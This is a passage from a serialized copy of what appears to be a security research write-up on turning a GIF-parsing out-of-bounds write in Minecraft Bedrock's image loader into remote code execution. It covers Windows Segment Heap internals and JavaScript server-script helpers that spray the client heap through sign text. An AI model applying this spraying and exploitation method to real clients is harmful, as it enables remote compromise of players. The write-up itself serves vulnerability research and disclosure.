ops":150218,"children":150219},{"style":246},[150220],{"type":31,"value":149535},{"type":25,"tag":201,"props":150222,"children":150223},{"style":261},[150224],{"type":31,"value":11319},{"type":25,"tag":201,"props":150226,"children":150227},{"style":426},[150228],{"type":31,"value":13247},{"type":25,"tag":201,"props":150230,"children":150231},{"style":220},[150232],{"type":31,"value":434},{"type":25,"tag":201,"props":150234,"children":150235},{"class":203,"line":226},[150236,150240,150244,150248,150252,150256,150260,150264,150268],{"type":25,"tag":201,"props":150237,"children":150238},{"style":230},[150239],{"type":31,"value":53722},{"type":25,"tag":201,"props":150241,"children":150242},{"style":220},[150243],{"type":31,"value":238},{"type":25,"tag":201,"props":150245,"children":150246},{"style":246},[150247],{"type":31,"value":4652},{"type":25,"tag":201,"props":150249,"children":150250},{"style":220},[150251],{"type":31,"value":423},{"type":25,"tag":201,"props":150253,"children":150254},{"style":426},[150255],{"type":31,"value":18792},{"type":25,"tag":201,"props":150257,"children":150258},{"style":220},[150259],{"type":31,"value":10169},{"type":25,"tag":201,"props":150261,"children":150262},{"style":261},[150263],{"type":31,"value":1342},{"type":25,"tag":201,"props":150265,"children":150266},{"style":426},[150267],{"type":31,"value":149583},{"type":25,"tag":201,"props":150269,"children":150270},{"style":220},[150271],{"type":31,"value":275},{"type":25,"tag":201,"props":150273,"children":150274},{"class":203,"line":278},[150275,150279,150283,150287,150291,150295,150299,150303,150307],{"type":25,"tag":201,"props":150276,"children":150277},{"style":246},[150278],{"type":31,"value":149595},{"type":25,"tag":201,"props":150280,"children":150281},{"style":220},[150282],{"type":31,"value":423},{"type":25,"tag":201,"props":150284,"children":150285},{"style":426},[150286],{"type":31,"value":429},{"type":25,"tag":201,"props":150288,"children":150289},{"style":220},[150290],{"type":31,"value":10169},{"type":25,"tag":201,"props":150292,"children":150293},{"style":261},[150294],{"type":31,"value":1383},{"type":25,"tag":201,"props":150296,"children":150297},{"style":246},[150298],{"type":31,"value":38515},{"type":25,"tag":201,"props":150300,"children":150301},{"style":220},[150302],{"type":31,"value":423},{"type":25,"tag":201,"props":150304,"children":150305},{"style":426},[150306],{"type":31,"value":4629},{"type":25,"tag":201,"props":150308,"children":150309},{"style":220},[150310],{"type":31,"value":434},{"type":25,"tag":201,"props":150312,"children":150313},{"class":203,"line":311},[150314,150318,150322,150326,150330,150334,150338,150342,150346],{"type":25,"tag":201,"props":150315,"children":150316},{"style":246},[150317],{"type":31,"value":149595},{"type":25,"tag":201,"props":150319,"children":150320},{"style":220},[150321],{"type":31,"value":423},{"type":25,"tag":201,"props":150323,"children":150324},{"style":426},[150325],{"type":31,"value":5516},{"type":25,"tag":201,"props":150327,"children":150328},{"style":220},[150329],{"type":31,"value":10169},{"type":25,"tag":201,"props":150331,"children":150332},{"style":261},[150333],{"type":31,"value":1383},{"type":25,"tag":201,"props":150335,"children":150336},{"style":246},[150337],{"type":31,"value":38515},{"type":25,"tag":201,"props":150339,"children":150340},{"style":220},[150341],{"type":31,"value":423},{"type":25,"tag":201,"props":150343,"children":150344},{"style":426},[150345],{"type":31,"value":5516},{"type":25,"tag":201,"props":150347,"children":150348},{"style":220},[150349],{"type":31,"value":434},{"type":25,"tag":201,"props":150351,"children":150352},{"class":203,"line":330},[150353,150357,150361,150365,150369,150373,150377,150381,150385],{"type":25,"tag":201,"props":150354,"children":150355},{"style":246},[150356],{"type":31,"value":149595},{"type":25,"tag":201,"props":150358,"children":150359},{"style":220},[150360],{"type":31,"value":423},{"type":25,"tag":201,"props":150362,"children":150363},{"style":426},[150364],{"type":31,"value":4629},{"type":25,"tag":201,"props":150366,"children":150367},{"style":220},[150368],{"type":31,"value":10169},{"type":25,"tag":201,"props":150370,"children":150371},{"style":261},[150372],{"type":31,"value":1383},{"type":25,"tag":201,"props":150374,"children":150375},{"style":246},[150376],{"type":31,"value":38515},{"type":25,"tag":201,"props":150378,"children":150379},{"style":220},[150380],{"type":31,"value":423},{"type":25,"tag":201,"props":150382,"children":150383},{"style":426},[150384],{"type":31,"value":429},{"type":25,"tag":201,"props":150386,"children":150387},{"style":220},[150388],{"type":31,"value":434},{"type":25,"tag":201,"props":150390,"children":150391},{"class":203,"line":397},[150392,150396,150400,150404,150408,150412,150416,150420,150424],{"type":25,"tag":201,"props":150393,"children":150394},{"style":246},[150395],{"type":31,"value":149595},{"type":25,"tag":201,"props":150397,"children":150398},{"style":220},[150399],{"type":31,"value":423},{"type":25,"tag":201,"props":150401,"children":150402},{"style":426},[150403],{"type":31,"value":18792},{"type":25,"tag":201,"props":150405,"children":150406},{"style":220},[150407],{"type":31,"value":10169},{"type":25,"tag":201,"props":150409,"children":150410},{"style":261},[150411],{"type":31,"value":1383},{"type":25,"tag":201,"props":150413,"children":150414},{"style":246},[150415],{"type":31,"value":38515},{"type":25,"tag":201,"props":150417,"children":150418},{"style":220},[150419],{"type":31,"value":423},{"type":25,"tag":201,"props":150421,"children":150422},{"style":426},[150423],{"type":31,"value":18792},{"type":25,"tag":201,"props":150425,"children":150426},{"style":220},[150427],{"type":31,"value":434},{"type":25,"tag":201,"props":150429,"children":150430},{"class":203,"line":437},[150431],{"type":25,"tag":201,"props":150432,"children":150433},{"style":220},[150434],{"type":31,"value":3689},{"type":25,"tag":34,"props":150436,"children":150437},{},[150438,150439,150444,150446,150451,150453,150458],{"type":31,"value":25500},{"type":25,"tag":115,"props":150440,"children":150442},{"className":150441},[],[150443],{"type":31,"value":149795},{"type":31,"value":150445}," has to set the last byte to ",{"type":25,"tag":115,"props":150447,"children":150449},{"className":150448},[],[150450],{"type":31,"value":114427},{"type":31,"value":150452}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":25,"tag":115,"props":150454,"children":150456},{"className":150455},[],[150457],{"type":31,"value":114427},{"type":31,"value":80},{"type":25,"tag":34,"props":150460,"children":150461},{},[150462,150464,150469,150471,150477,150478,150484],{"type":31,"value":150463},"In the code we can see that size of the ",{"type":25,"tag":115,"props":150465,"children":150467},{"className":150466},[],[150468],{"type":31,"value":149252},{"type":31,"value":150470}," allocation is controlled through ",{"type":25,"tag":115,"props":150472,"children":150474},{"className":150473},[],[150475],{"type":31,"value":150476},"g->w",{"type":31,"value":12493},{"type":25,"tag":115,"props":150479,"children":150481},{"className":150480},[],[150482],{"type":31,"value":150483},"g->h",{"type":31,"value":150485}," values, both of which are read from the input file itself:",{"type":25,"tag":191,"props":150487,"children":150489},{"code":150488,"language":4652,"meta":7,"className":18010,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[150490],{"type":25,"tag":115,"props":150491,"children":150492},{"__ignoreMap":7},[150493,150518,150525,150532,150567,150613],{"type":25,"tag":201,"props":150494,"children":150495},{"class":203,"line":204},[150496,150500,150505,150509,150513],{"type":25,"tag":201,"props":150497,"children":150498},{"style":208},[150499],{"type":31,"value":52122},{"type":25,"tag":201,"props":150501,"children":150502},{"style":220},[150503],{"type":31,"value":150504}," stbi_uc ",{"type":25,"tag":201,"props":150506,"children":150507},{"style":261},[150508],{"type":31,"value":6077},{"type":25,"tag":201,"props":150510,"children":150511},{"style":214},[150512],{"type":31,"value":148431},{"type":25,"tag":201,"props":150514,"children":150515},{"style":220},[150516],{"type":31,"value":150517},"(...)\n",{"type":25,"tag":201,"props":150519,"children":150520},{"class":203,"line":226},[150521],{"type":25,"tag":201,"props":150522,"children":150523},{"style":220},[150524],{"type":31,"value":1822},{"type":25,"tag":201,"props":150526,"children":150527},{"class":203,"line":278},[150528],{"type":25,"tag":201,"props":150529,"children":150530},{"style":220},[150531],{"type":31,"value":148993},{"type":25,"tag":201,"props":150533,"children":150534},{"class":203,"line":311},[150535,150539,150543,150547,150551,150555,150559,150563],{"type":25,"tag":201,"props":150536,"children":150537},{"style":230},[150538],{"type":31,"value":53722},{"type":25,"tag":201,"props":150540,"children":150541},{"style":220},[150542],{"type":31,"value":238},{"type":25,"tag":201,"props":150544,"children":150545},{"style":246},[150546],{"type":31,"value":110382},{"type":25,"tag":201,"props":150548,"children":150549},{"style":220},[150550],{"type":31,"value":15259},{"type":25,"tag":201,"props":150552,"children":150553},{"style":246},[150554],{"type":31,"value":119805},{"type":25,"tag":201,"props":150556,"children":150557},{"style":261},[150558],{"type":31,"value":4789},{"type":25,"tag":201,"props":150560,"children":150561},{"style":426},[150562],{"type":31,"value":4554},{"type":25,"tag":201,"props":150564,"children":150565},{"style":220},[150566],{"type":31,"value":275},{"type":25,"tag":201,"props":150568,"children":150569},{"class":203,"line":330},[150570,150574,150578,150582,150587,150592,150596,150601,150605,150609],{"type":25,"tag":201,"props":150571,"children":150572},{"style":230},[150573],{"type":31,"value":40357},{"type":25,"tag":201,"props":150575,"children":150576},{"style":220},[150577],{"type":31,"value":238},{"type":25,"tag":201,"props":150579,"children":150580},{"style":261},[150581],{"type":31,"value":4114},{"type":25,"tag":201,"props":150583,"children":150584},{"style":214},[150585],{"type":31,"value":150586},"stbi__gif_header",{"type":25,"tag":201,"props":150588,"children":150589},{"style":220},[150590],{"type":31,"value":150591},"(s, g, comp,",{"type":25,"tag":201,"props":150593,"children":150594},{"style":426},[150595],{"type":31,"value":429},{"type":25,"tag":201,"props":150597,"children":150598},{"style":220},[150599],{"type":31,"value":150600},"))     ",{"type":25,"tag":201,"props":150602,"children":150603},{"style":230},[150604],{"type":31,"value":49534},{"type":25,"tag":201,"props":150606,"children":150607},{"style":426},[150608],{"type":31,"value":4554},{"type":25,"tag":201,"props":150610,"children":150611},{"style":220},[150612],{"type":31,"value":461},{"type":25,"tag":201,"props":150614,"children":150615},{"class":203,"line":397},[150616,150621,150625,150629,150633,150638,150642,150646,150651,150655,150659,150663,150667,150671,150675,150679,150683,150687,150691],{"type":25,"tag":201,"props":150617,"children":150618},{"style":246},[150619],{"type":31,"value":150620},"      g",{"type":25,"tag":201,"props":150622,"children":150623},{"style":220},[150624],{"type":31,"value":15259},{"type":25,"tag":201,"props":150626,"children":150627},{"style":246},[150628],{"type":31,"value":119805},{"type":25,"tag":201,"props":150630,"children":150631},{"style":261},[150632],{"type":31,"value":413},{"type":25,"tag":201,"props":150634,"children":150635},{"style":220},[150636],{"type":31,"value":150637}," (stbi_uc ",{"type":25,"tag":201,"props":150639,"children":150640},{"style":261},[150641],{"type":31,"value":6077},{"type":25,"tag":201,"props":150643,"children":150644},{"style":220},[150645],{"type":31,"value":385},{"type":25,"tag":201,"props":150647,"children":150648},{"style":214},[150649],{"type":31,"value":150650},"stbi__malloc",{"type":25,"tag":201,"props":150652,"children":150653},{"style":220},[150654],{"type":31,"value":298},{"type":25,"tag":201,"props":150656,"children":150657},{"style":426},[150658],{"type":31,"value":19025},{"type":25,"tag":201,"props":150660,"children":150661},{"style":261},[150662],{"type":31,"value":11319},{"type":25,"tag":201,"props":150664,"children":150665},{"style":246},[150666],{"type":31,"value":149033},{"type":25,"tag":201,"props":150668,"children":150669},{"style":220},[150670],{"type":31,"value":15259},{"type":25,"tag":201,"props":150672,"children":150673},{"style":246},[150674],{"type":31,"value":50649},{"type":25,"tag":201,"props":150676,"children":150677},{"style":261},[150678],{"type":31,"value":11319},{"type":25,"tag":201,"props":150680,"children":150681},{"style":246},[150682],{"type":31,"value":149033},{"type":25,"tag":201,"props":150684,"children":150685},{"style":220},[150686],{"type":31,"value":15259},{"type":25,"tag":201,"props":150688,"children":150689},{"style":246},[150690],{"type":31,"value":85429},{"type":25,"tag":201,"props":150692,"children":150693},{"style":220},[150694],{"type":31,"value":308},{"type":25,"tag":34,"props":150696,"children":150697},{},[150698,150700,150705,150707,150712],{"type":31,"value":150699},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":25,"tag":115,"props":150701,"children":150703},{"className":150702},[],[150704],{"type":31,"value":149252},{"type":31,"value":150706}," and the value of ",{"type":25,"tag":115,"props":150708,"children":150710},{"className":150709},[],[150711],{"type":31,"value":34},{"type":31,"value":150713}," just before the OOB write happens:",{"type":25,"tag":191,"props":150715,"children":150717},{"code":150716},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[150718],{"type":25,"tag":115,"props":150719,"children":150720},{"__ignoreMap":7},[150721],{"type":31,"value":150716},{"type":25,"tag":34,"props":150723,"children":150724},{},[150725,150727,150732,150734,150739],{"type":31,"value":150726},"There are multiple within-bound writes to ",{"type":25,"tag":115,"props":150728,"children":150730},{"className":150729},[],[150731],{"type":31,"value":34},{"type":31,"value":150733},", but the last write happens just after the ",{"type":25,"tag":115,"props":150735,"children":150737},{"className":150736},[],[150738],{"type":31,"value":149252},{"type":31,"value":150740}," allocation.",{"type":25,"tag":40,"props":150742,"children":150744},{"id":150743},"summarizing-the-corruption",[150745],{"type":31,"value":150746},"Summarizing the Corruption",{"type":25,"tag":18183,"props":150748,"children":150749},{},[150750,150763,150791],{"type":25,"tag":6948,"props":150751,"children":150752},{},[150753,150755,150761],{"type":31,"value":150754},"A single ",{"type":25,"tag":115,"props":150756,"children":150758},{"className":150757},[],[150759],{"type":31,"value":150760},"0x01",{"type":31,"value":150762}," byte write OOB",{"type":25,"tag":6948,"props":150764,"children":150765},{},[150766,150768],{"type":31,"value":150767},"4-byte OOB write just above the allocated buffer\n",{"type":25,"tag":18183,"props":150769,"children":150770},{},[150771,150776,150786],{"type":25,"tag":6948,"props":150772,"children":150773},{},[150774],{"type":31,"value":150775},"First three bytes are controllable",{"type":25,"tag":6948,"props":150777,"children":150778},{},[150779,150781],{"type":31,"value":150780},"Last byte will be ",{"type":25,"tag":115,"props":150782,"children":150784},{"className":150783},[],[150785],{"type":31,"value":114427},{"type":25,"tag":6948,"props":150787,"children":150788},{},[150789],{"type":31,"value":150790},"Size of the allocation is controlled",{"type":25,"tag":6948,"props":150792,"children":150793},{},[150794,150796],{"type":31,"value":150795},"Both corruptions are done on a short-lived allocation\n",{"type":25,"tag":18183,"props":150797,"children":150798},{},[150799,150804],{"type":25,"tag":6948,"props":150800,"children":150801},{},[150802],{"type":31,"value":150803},"Allocated just before the image-parsing process",{"type":25,"tag":6948,"props":150805,"children":150806},{},[150807],{"type":31,"value":150808},"Freed immediately upon parsing completion",{"type":25,"tag":20292,"props":150810,"children":150811},{},[],{"type":25,"tag":34,"props":150813,"children":150814},{},[150815,150817,150824,150826,150833],{"type":31,"value":150816},"Note that this bug was already found before (",{"type":25,"tag":71,"props":150818,"children":150821},{"href":150819,"rel":150820},"https://github.com/nothings/stb/issues/656",[75],[150822],{"type":31,"value":150823},"Github Issue",{"type":31,"value":150825},") but we missed it at the time. It was later fixed in ",{"type":25,"tag":71,"props":150827,"children":150830},{"href":150828,"rel":150829},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[75],[150831],{"type":31,"value":150832},"this commit",{"type":31,"value":80},{"type":25,"tag":26,"props":150835,"children":150836},{"id":6926},[150837],{"type":31,"value":6929},{"type":25,"tag":34,"props":150839,"children":150840},{},[150841],{"type":31,"value":150842},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":25,"tag":34,"props":150844,"children":150845},{},[150846],{"type":31,"value":150847},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":25,"tag":40,"props":150849,"children":150851},{"id":150850},"searching-for-better-primitives",[150852],{"type":31,"value":150853},"Searching for Better Primitives",{"type":25,"tag":34,"props":150855,"children":150856},{},[150857],{"type":31,"value":150858},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":25,"tag":34,"props":150860,"children":150861},{},[150862,150864,150871],{"type":31,"value":150863},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":25,"tag":71,"props":150865,"children":150868},{"href":150866,"rel":150867},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[75],[150869],{"type":31,"value":150870},"UWP",{"type":31,"value":150872}," applications (such as Minecraft Bedrock Edition).",{"type":25,"tag":40,"props":150874,"children":150876},{"id":150875},"segment-heap",[150877],{"type":31,"value":150878},"Segment Heap",{"type":25,"tag":34,"props":150880,"children":150881},{},[150882,150884,150891],{"type":31,"value":150883},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":25,"tag":71,"props":150885,"children":150888},{"href":150886,"rel":150887},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[75],[150889],{"type":31,"value":150890},"this talk",{"type":31,"value":150892}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":25,"tag":20392,"props":150894,"children":150896},{"id":150895},"low-fragmentation-heap",[150897],{"type":31,"value":150898},"Low Fragmentation Heap",{"type":25,"tag":34,"props":150900,"children":150901},{},[150902,150904,150910],{"type":31,"value":150903},"Low Fragmentation Heap (LFH) services allocations of ",{"type":25,"tag":115,"props":150905,"children":150907},{"className":150906},[],[150908],{"type":31,"value":150909},"0x3ff0",{"type":31,"value":150911}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":25,"tag":34,"props":150913,"children":150914},{},[150915],{"type":31,"value":150916},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":25,"tag":191,"props":150918,"children":150920},{"code":150919},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[150921],{"type":25,"tag":115,"props":150922,"children":150923},{"__ignoreMap":7},[150924],{"type":31,"value":150919},{"type":25,"tag":34,"props":150926,"children":150927},{},[150928],{"type":31,"value":150929},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":25,"tag":20392,"props":150931,"children":150933},{"id":150932},"variable-size",[150934],{"type":31,"value":150935},"Variable Size",{"type":25,"tag":34,"props":150937,"children":150938},{},[150939,150941,150947,150949,150955],{"type":31,"value":150940},"This subsegment is used for allocation sizes from ",{"type":25,"tag":115,"props":150942,"children":150944},{"className":150943},[],[150945],{"type":31,"value":150946},"0x4000",{"type":31,"value":150948}," and up to ",{"type":25,"tag":115,"props":150950,"children":150952},{"className":150951},[],[150953],{"type":31,"value":150954},"0x20_000",{"type":31,"value":150956},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":25,"tag":191,"props":150958,"children":150960},{"code":150959},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[150961],{"type":25,"tag":115,"props":150962,"children":150963},{"__ignoreMap":7},[150964],{"type":31,"value":150959},{"type":25,"tag":34,"props":150966,"children":150967},{},[150968,150970,150976],{"type":31,"value":150969},"The header, ",{"type":25,"tag":115,"props":150971,"children":150973},{"className":150972},[],[150974],{"type":31,"value":150975},"HEAP_VS_CHUNK_HEADER",{"type":31,"value":150977},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":25,"tag":20292,"props":150979,"children":150980},{},[],{"type":25,"tag":34,"props":150982,"children":150983},{},[150984],{"type":31,"value":150985},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":25,"tag":34,"props":150987,"children":150988},{},[150989,150991,150998],{"type":31,"value":150990},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":25,"tag":71,"props":150992,"children":150995},{"href":150993,"rel":150994},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[75],[150996],{"type":31,"value":150997},"technique published",{"type":31,"value":150999}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":25,"tag":34,"props":151001,"children":151002},{},[151003],{"type":31,"value":151004},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":25,"tag":34,"props":151006,"children":151007},{},[151008],{"type":31,"value":151009},"In either case, we needed a way to spray the heap before we could proceed.",{"type":25,"tag":40,"props":151011,"children":151013},{"id":151012},"finding-a-way-to-spray-the-heap",[151014],{"type":31,"value":151015},"Finding a Way to Spray the Heap",{"type":25,"tag":34,"props":151017,"children":151018},{},[151019],{"type":31,"value":151020},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":25,"tag":18183,"props":151022,"children":151023},{},[151024,151029,151034,151039],{"type":25,"tag":6948,"props":151025,"children":151026},{},[151027],{"type":31,"value":151028},"The size of the allocation",{"type":25,"tag":6948,"props":151030,"children":151031},{},[151032],{"type":31,"value":151033},"The data written into the allocated buffer",{"type":25,"tag":6948,"props":151035,"children":151036},{},[151037],{"type":31,"value":151038},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":25,"tag":6948,"props":151040,"children":151041},{},[151042],{"type":31,"value":151043},"The number of created objects (preferably unbounded)",{"type":25,"tag":34,"props":151045,"children":151046},{},[151047],{"type":31,"value":151048},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":25,"tag":20392,"props":151050,"children":151052},{"id":151051},"minecraft-signs",[151053],{"type":31,"value":151054},"Minecraft Signs",{"type":25,"tag":34,"props":151056,"children":151057},{},[151058],{"type":31,"value":151059},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":25,"tag":34,"props":151061,"children":151062},{},[151063,151065,151071],{"type":31,"value":151064},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":25,"tag":115,"props":151066,"children":151068},{"className":151067},[],[151069],{"type":31,"value":151070},"std::string",{"type":31,"value":80},{"type":25,"tag":34,"props":151073,"children":151074},{},[151075,151077,151082],{"type":31,"value":151076},"In Microsoft’s C++ implementation, ",{"type":25,"tag":115,"props":151078,"children":151080},{"className":151079},[],[151081],{"type":31,"value":151070},{"type":31,"value":151083}," is structured roughly as follows:",{"type":25,"tag":191,"props":151085,"children":151087},{"code":151086,"language":4652,"meta":7,"className":18010,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[151088],{"type":25,"tag":115,"props":151089,"children":151090},{"__ignoreMap":7},[151091,151102,151109,151121,151137,151161,151168,151179,151191],{"type":25,"tag":201,"props":151092,"children":151093},{"class":203,"line":204},[151094,151098],{"type":25,"tag":201,"props":151095,"children":151096},{"style":208},[151097],{"type":31,"value":10905},{"type":25,"tag":201,"props":151099,"children":151100},{"style":220},[151101],{"type":31,"value":86128},{"type":25,"tag":201,"props":151103,"children":151104},{"class":203,"line":226},[151105],{"type":25,"tag":201,"props":151106,"children":151107},{"style":220},[151108],{"type":31,"value":1822},{"type":25,"tag":201,"props":151110,"children":151111},{"class":203,"line":278},[151112,151117],{"type":25,"tag":201,"props":151113,"children":151114},{"style":208},[151115],{"type":31,"value":151116},"    union",{"type":25,"tag":201,"props":151118,"children":151119},{"style":220},[151120],{"type":31,"value":327},{"type":25,"tag":201,"props":151122,"children":151123},{"class":203,"line":311},[151124,151129,151133],{"type":25,"tag":201,"props":151125,"children":151126},{"style":208},[151127],{"type":31,"value":151128},"        char",{"type":25,"tag":201,"props":151130,"children":151131},{"style":261},[151132],{"type":31,"value":6077},{"type":25,"tag":201,"props":151134,"children":151135},{"style":220},[151136],{"type":31,"value":18052},{"type":25,"tag":201,"props":151138,"children":151139},{"class":203,"line":330},[151140,151144,151149,151153,151157],{"type":25,"tag":201,"props":151141,"children":151142},{"style":208},[151143],{"type":31,"value":151128},{"type":25,"tag":201,"props":151145,"children":151146},{"style":246},[151147],{"type":31,"value":151148}," buf",{"type":25,"tag":201,"props":151150,"children":151151},{"style":220},[151152],{"type":31,"value":423},{"type":25,"tag":201,"props":151154,"children":151155},{"style":426},[151156],{"type":31,"value":41918},{"type":25,"tag":201,"props":151158,"children":151159},{"style":220},[151160],{"type":31,"value":434},{"type":25,"tag":201,"props":151162,"children":151163},{"class":203,"line":397},[151164],{"type":25,"tag":201,"props":151165,"children":151166},{"style":220},[151167],{"type":31,"value":40067},{"type":25,"tag":201,"props":151169,"children":151170},{"class":203,"line":437},[151171,151175],{"type":25,"tag":201,"props":151172,"children":151173},{"style":208},[151174],{"type":31,"value":18060},{"type":25,"tag":201,"props":151176,"children":151177},{"style":220},[151178],{"type":31,"value":125686},{"type":25,"tag":201,"props":151180,"children":151181},{"class":203,"line":464},[151182,151186],{"type":25,"tag":201,"props":151183,"children":151184},{"style":208},[151185],{"type":31,"value":18060},{"type":25,"tag":201,"props":151187,"children":151188},{"style":220},[151189],{"type":31,"value":151190}," capacity;\n",{"type":25,"tag":201,"props":151192,"children":151193},{"class":203,"line":490},[151194],{"type":25,"tag":201,"props":151195,"children":151196},{"style":220},[151197],{"type":31,"value":18073},{"type":25,"tag":34,"props":151199,"children":151200},{},[151201,151203,151209,151211,151216],{"type":31,"value":151202},"We are primarily interested in the union: ",{"type":25,"tag":115,"props":151204,"children":151206},{"className":151205},[],[151207],{"type":31,"value":151208},"buf",{"type":31,"value":151210}," is used when the string fits within 16 bytes, while ",{"type":25,"tag":115,"props":151212,"children":151214},{"className":151213},[],[151215],{"type":31,"value":15451},{"type":31,"value":151217}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":25,"tag":34,"props":151219,"children":151220},{},[151221],{"type":31,"value":151222},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":25,"tag":34,"props":151224,"children":151225},{},[151226],{"type":31,"value":151227},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":25,"tag":20392,"props":151229,"children":151231},{"id":151230},"spraying-with-server-side-scripting",[151232],{"type":31,"value":151233},"Spraying With Server-Side Scripting",{"type":25,"tag":34,"props":151235,"children":151236},{},[151237],{"type":31,"value":151238},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":25,"tag":34,"props":151240,"children":151241},{},[151242,151244,151250,151251,151257],{"type":31,"value":151243},"We wrote ",{"type":25,"tag":115,"props":151245,"children":151247},{"className":151246},[],[151248],{"type":31,"value":151249},"alloc",{"type":31,"value":12493},{"type":25,"tag":115,"props":151252,"children":151254},{"className":151253},[],[151255],{"type":31,"value":151256},"free",{"type":31,"value":151258}," helpers that trigger an allocation in the client and free it on demand:",{"type":25,"tag":191,"props":151260,"children":151262},{"code":151261,"language":36685,"meta":7,"className":36683,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[151263],{"type":25,"tag":115,"props":151264,"children":151265},{"__ignoreMap":7},[151266,151274,151316,151349,151394,151406,151413,151420,151481,151508,151523,151530,151537,151566,151581,151588,151595,151603,151627,151678,151689,151696,151703,151740,151767,151774,151803,151833,151840,151867],{"type":25,"tag":201,"props":151267,"children":151268},{"class":203,"line":204},[151269],{"type":25,"tag":201,"props":151270,"children":151271},{"style":4497},[151272],{"type":31,"value":151273},"// Allocate sign text in the client\n",{"type":25,"tag":201,"props":151275,"children":151276},{"class":203,"line":226},[151277,151281,151286,151290,151294,151298,151303,151307,151312],{"type":25,"tag":201,"props":151278,"children":151279},{"style":208},[151280],{"type":31,"value":211},{"type":25,"tag":201,"props":151282,"children":151283},{"style":214},[151284],{"type":31,"value":151285}," 